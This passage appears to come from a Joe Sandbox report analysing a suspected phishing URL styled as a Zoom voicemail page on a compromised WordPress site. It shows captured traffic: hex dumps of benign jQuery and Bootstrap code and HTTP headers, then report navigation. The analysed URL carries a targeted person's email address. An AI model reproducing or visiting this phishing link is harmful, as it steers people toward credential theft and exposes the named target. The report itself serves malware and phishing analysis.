2025-03-14 23:02:06 UTC	1378	IN	Data Raw: 65 72 79 2e 66 6e 2e 65 78 74 65 6e 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 20 6f 70 74 69 6f 6e 73 2c 20 6e 61 6d 65 2c 20 73 72 63 2c 20 63 6f 70 79 2c 20 63 6f 70 79 49 73 41 72 72 61 79 2c 20 63 6c 6f 6e 65 2c 0a 09 09 74 61 72 67 65 74 20 3d 20 61 72 67 75 6d 65 6e 74 73 5b 20 30 20 5d 20 7c 7c 20 7b 7d 2c 0a 09 09 69 20 3d 20 31 2c 0a 09 09 6c 65 6e 67 74 68 20 3d 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 0a 09 09 64 65 65 70 20 3d 20 66 61 6c 73 65 3b 0a 0a 09 2f 2f 20 48 61 6e 64 6c 65 20 61 20 64 65 65 70 20 63 6f 70 79 20 73 69 74 75 61 74 69 6f 6e 0a 09 69 66 20 28 20 74 79 70 65 6f 66 20 74 61 72 67 65 74 20 3d 3d 3d 20 22 62 6f 6f 6c 65 61 6e 22 20 29 20 7b 0a 09 09 64 65 65 70 20 3d 20 74 61 72 67 65 74 3b Data Ascii: ery.fn.extend = function() {var options, name, src, copy, copyIsArray, clone,target = arguments[ 0 ] \|\| {},i = 1,length = arguments.length,deep = false;// Handle a deep copy situationif ( typeof target === "boolean" ) {deep = target;
2025-03-14 23:02:06 UTC	1378	IN	Data Raw: 65 2c 20 63 6f 70 79 20 29 3b 0a 0a 09 09 09 09 2f 2f 20 44 6f 6e 27 74 20 62 72 69 6e 67 20 69 6e 20 75 6e 64 65 66 69 6e 65 64 20 76 61 6c 75 65 73 0a 09 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 20 63 6f 70 79 20 21 3d 3d 20 75 6e 64 65 66 69 6e 65 64 20 29 20 7b 0a 09 09 09 09 09 74 61 72 67 65 74 5b 20 6e 61 6d 65 20 5d 20 3d 20 63 6f 70 79 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 0a 09 7d 0a 0a 09 2f 2f 20 52 65 74 75 72 6e 20 74 68 65 20 6d 6f 64 69 66 69 65 64 20 6f 62 6a 65 63 74 0a 09 72 65 74 75 72 6e 20 74 61 72 67 65 74 3b 0a 7d 3b 0a 0a 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 20 7b 0a 0a 09 2f 2f 20 55 6e 69 71 75 65 20 66 6f 72 20 65 61 63 68 20 63 6f 70 79 20 6f 66 20 6a 51 75 65 72 79 20 6f 6e 20 74 68 65 20 70 61 67 65 0a 09 65 Data Ascii: e, copy );// Don't bring in undefined values} else if ( copy !== undefined ) {target[ name ] = copy;}}}}// Return the modified objectreturn target;};jQuery.extend( {// Unique for each copy of jQuery on the pagee
2025-03-14 23:02:06 UTC	1378	IN	Data Raw: 09 09 44 4f 4d 45 76 61 6c 28 20 63 6f 64 65 20 29 3b 0a 09 7d 2c 0a 0a 09 65 61 63 68 3a 20 66 75 6e 63 74 69 6f 6e 28 20 6f 62 6a 2c 20 63 61 6c 6c 62 61 63 6b 20 29 20 7b 0a 09 09 76 61 72 20 6c 65 6e 67 74 68 2c 20 69 20 3d 20 30 3b 0a 0a 09 09 69 66 20 28 20 69 73 41 72 72 61 79 4c 69 6b 65 28 20 6f 62 6a 20 29 20 29 20 7b 0a 09 09 09 6c 65 6e 67 74 68 20 3d 20 6f 62 6a 2e 6c 65 6e 67 74 68 3b 0a 09 09 09 66 6f 72 20 28 20 3b 20 69 20 3c 20 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 09 69 66 20 28 20 63 61 6c 6c 62 61 63 6b 2e 63 61 6c 6c 28 20 6f 62 6a 5b 20 69 20 5d 2c 20 69 2c 20 6f 62 6a 5b 20 69 20 5d 20 29 20 3d 3d 3d 20 66 61 6c 73 65 20 29 20 7b 0a 09 09 09 09 09 62 72 65 61 6b 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 20 Data Ascii: DOMEval( code );},each: function( obj, callback ) {var length, i = 0;if ( isArrayLike( obj ) ) {length = obj.length;for ( ; i < length; i++ ) {if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {break;}}}
2025-03-14 23:02:06 UTC	1378	IN	Data Raw: 62 61 63 6b 45 78 70 65 63 74 20 3d 20 21 69 6e 76 65 72 74 3b 0a 0a 09 09 2f 2f 20 47 6f 20 74 68 72 6f 75 67 68 20 74 68 65 20 61 72 72 61 79 2c 20 6f 6e 6c 79 20 73 61 76 69 6e 67 20 74 68 65 20 69 74 65 6d 73 0a 09 09 2f 2f 20 74 68 61 74 20 70 61 73 73 20 74 68 65 20 76 61 6c 69 64 61 74 6f 72 20 66 75 6e 63 74 69 6f 6e 0a 09 09 66 6f 72 20 28 20 3b 20 69 20 3c 20 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 63 61 6c 6c 62 61 63 6b 49 6e 76 65 72 73 65 20 3d 20 21 63 61 6c 6c 62 61 63 6b 28 20 65 6c 65 6d 73 5b 20 69 20 5d 2c 20 69 20 29 3b 0a 09 09 09 69 66 20 28 20 63 61 6c 6c 62 61 63 6b 49 6e 76 65 72 73 65 20 21 3d 3d 20 63 61 6c 6c 62 61 63 6b 45 78 70 65 63 74 20 29 20 7b 0a 09 09 09 09 6d 61 74 63 68 65 73 2e 70 75 73 68 28 20 65 Data Ascii: backExpect = !invert;// Go through the array, only saving the items// that pass the validator functionfor ( ; i < length; i++ ) {callbackInverse = !callback( elems[ i ], i );if ( callbackInverse !== callbackExpect ) {matches.push( e
2025-03-14 23:02:06 UTC	1378	IN	Data Raw: 2c 20 6e 61 6d 65 20 29 20 7b 0a 09 63 6c 61 73 73 32 74 79 70 65 5b 20 22 5b 6f 62 6a 65 63 74 20 22 20 2b 20 6e 61 6d 65 20 2b 20 22 5d 22 20 5d 20 3d 20 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 0a 7d 20 29 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 69 73 41 72 72 61 79 4c 69 6b 65 28 20 6f 62 6a 20 29 20 7b 0a 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 72 65 61 6c 20 69 4f 53 20 38 2e 32 20 6f 6e 6c 79 20 28 6e 6f 74 20 72 65 70 72 6f 64 75 63 69 62 6c 65 20 69 6e 20 73 69 6d 75 6c 61 74 6f 72 29 0a 09 2f 2f 20 60 69 6e 60 20 63 68 65 63 6b 20 75 73 65 64 20 74 6f 20 70 72 65 76 65 6e 74 20 4a 49 54 20 65 72 72 6f 72 20 28 67 68 2d 32 31 34 35 29 0a 09 2f 2f 20 68 61 73 4f 77 6e 20 69 73 6e 27 74 20 75 73 65 64 20 68 65 72 65 20 64 75 65 20 74 Data Ascii: , name ) {class2type[ "[object " + name + "]" ] = name.toLowerCase();} );function isArrayLike( obj ) {// Support: real iOS 8.2 only (not reproducible in simulator)// `in` check used to prevent JIT error (gh-2145)// hasOwn isn't used here due t
2025-03-14 23:02:06 UTC	1378	IN	Data Raw: 6e 73 74 61 6e 63 65 20 6d 65 74 68 6f 64 73 0a 09 68 61 73 4f 77 6e 20 3d 20 28 7b 7d 29 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 0a 09 61 72 72 20 3d 20 5b 5d 2c 0a 09 70 6f 70 20 3d 20 61 72 72 2e 70 6f 70 2c 0a 09 70 75 73 68 5f 6e 61 74 69 76 65 20 3d 20 61 72 72 2e 70 75 73 68 2c 0a 09 70 75 73 68 20 3d 20 61 72 72 2e 70 75 73 68 2c 0a 09 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 2c 0a 09 2f 2f 20 55 73 65 20 61 20 73 74 72 69 70 70 65 64 2d 64 6f 77 6e 20 69 6e 64 65 78 4f 66 20 61 73 20 69 74 27 73 20 66 61 73 74 65 72 20 74 68 61 6e 20 6e 61 74 69 76 65 0a 09 2f 2f 20 68 74 74 70 73 3a 2f 2f 6a 73 70 65 72 66 2e 63 6f 6d 2f 74 68 6f 72 2d 69 6e 64 65 78 6f 66 2d 76 73 2d 66 6f 72 2f 35 0a 09 69 6e 64 65 78 4f 66 20 3d 20 66 75 6e Data Ascii: nstance methodshasOwn = ({}).hasOwnProperty,arr = [],pop = arr.pop,push_native = arr.push,push = arr.push,slice = arr.slice,// Use a stripped-down indexOf as it's faster than native// https://jsperf.com/thor-indexof-vs-for/5indexOf = fun

Timestamp	Bytes transferred	Direction	Data
2025-03-14 23:02:06 UTC	602	OUT	GET /bootstrap/4.0.0/css/bootstrap.min.css HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive Origin: https://danse94.com sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://danse94.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 23:02:06 UTC	950	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 23:02:06 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"450fc463b8b1a349df717056fbb3e078" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.06 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 12/12/2024 06:28:53 CDN-EdgeStorageId: 718 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 1 CDN-RequestId: 131f088ee142b71def47149bb3be8c86 CDN-Cache: HIT CF-Cache-Status: HIT Age: 20862 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 92076590fe9a4219-EWR alt-svc: h3=":443"; ma=86400
2025-03-14 23:02:06 UTC	419	IN	Data Raw: 37 62 66 63 0d 0a 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 3a 72 6f 6f 74 7b 2d 2d 62 6c 75 65 3a 23 30 30 37 62 66 66 3b 2d 2d 69 6e 64 69 67 6f 3a 23 36 36 31 30 Data Ascii: 7bfc/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors * Copyright 2011-2018 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */:root{--blue:#007bff;--indigo:#6610
2025-03-14 23:02:06 UTC	1369	IN	Data Raw: 64 61 72 6b 3a 23 33 34 33 61 34 30 3b 2d 2d 70 72 69 6d 61 72 79 3a 23 30 30 37 62 66 66 3b 2d 2d 73 65 63 6f 6e 64 61 72 79 3a 23 36 63 37 35 37 64 3b 2d 2d 73 75 63 63 65 73 73 3a 23 32 38 61 37 34 35 3b 2d 2d 69 6e 66 6f 3a 23 31 37 61 32 62 38 3b 2d 2d 77 61 72 6e 69 6e 67 3a 23 66 66 63 31 30 37 3b 2d 2d 64 61 6e 67 65 72 3a 23 64 63 33 35 34 35 3b 2d 2d 6c 69 67 68 74 3a 23 66 38 66 39 66 61 3b 2d 2d 64 61 72 6b 3a 23 33 34 33 61 34 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 73 3a 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 73 6d 3a 35 37 36 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 6d 64 3a 37 36 38 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 6c 67 3a 39 39 32 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 6c 3a 31 32 30 30 70 Data Ascii: dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200p
2025-03-14 23:02:06 UTC	1369	IN	Data Raw: 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 20 64 6f 74 74 65 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 20 64 6f 74 74 65 64 3b 63 75 72 73 6f 72 3a 68 65 6c 70 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 30 7d 61 64 64 72 65 73 73 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 64 6c 2c 6f 6c 2c 75 6c 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 7d 6f 6c 20 6f 6c 2c 6f 6c 20 75 6c 2c 75 6c 20 6f 6c 2c 75 6c 20 75 6c 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 64 74 7b 66 6f 6e 74 2d Data Ascii: webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-
2025-03-14 23:02:06 UTC	1369	IN	Data Raw: 74 74 65 64 3b 6f 75 74 6c 69 6e 65 3a 35 70 78 20 61 75 74 6f 20 2d 77 65 62 6b 69 74 2d 66 6f 63 75 73 2d 72 69 6e 67 2d 63 6f 6c 6f 72 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 2c 6f 70 74 67 72 6f 75 70 2c 73 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 7b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 7d 62 75 74 74 6f 6e 2c 73 65 6c 65 63 74 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 5b 74 79 70 65 3d 72 65 73 65 74 5d 2c 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 2c 62 75 74 74 6f 6e 2c 68 74 6d 6c 20 Data Ascii: tted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-h

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://danse94.com/wp-content/upgrade/zoomvoicemail/chameleon/#rbaldridge@ah4r.com

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 141

Chrome Cache Entry: 142

Chrome Cache Entry: 143

Chrome Cache Entry: 144

Chrome Cache Entry: 145

Chrome Cache Entry: 146

Chrome Cache Entry: 147

Chrome Cache Entry: 148

Chrome Cache Entry: 149

Chrome Cache Entry: 150

Chrome Cache Entry: 151

Chrome Cache Entry: 152

Chrome Cache Entry: 153

Chrome Cache Entry: 154

Chrome Cache Entry: 155

Chrome Cache Entry: 156

Chrome Cache Entry: 157

Chrome Cache Entry: 158

Chrome Cache Entry: 159

Chrome Cache Entry: 160

Chrome Cache Entry: 161

Chrome Cache Entry: 162

Chrome Cache Entry: 163

Chrome Cache Entry: 164

Chrome Cache Entry: 165

Chrome Cache Entry: 166

Chrome Cache Entry: 167

Chrome Cache Entry: 168

Windows Analysis Report
https://danse94.com/wp-content/upgrade/zoomvoicemail/chameleon/#rbaldridge@ah4r.com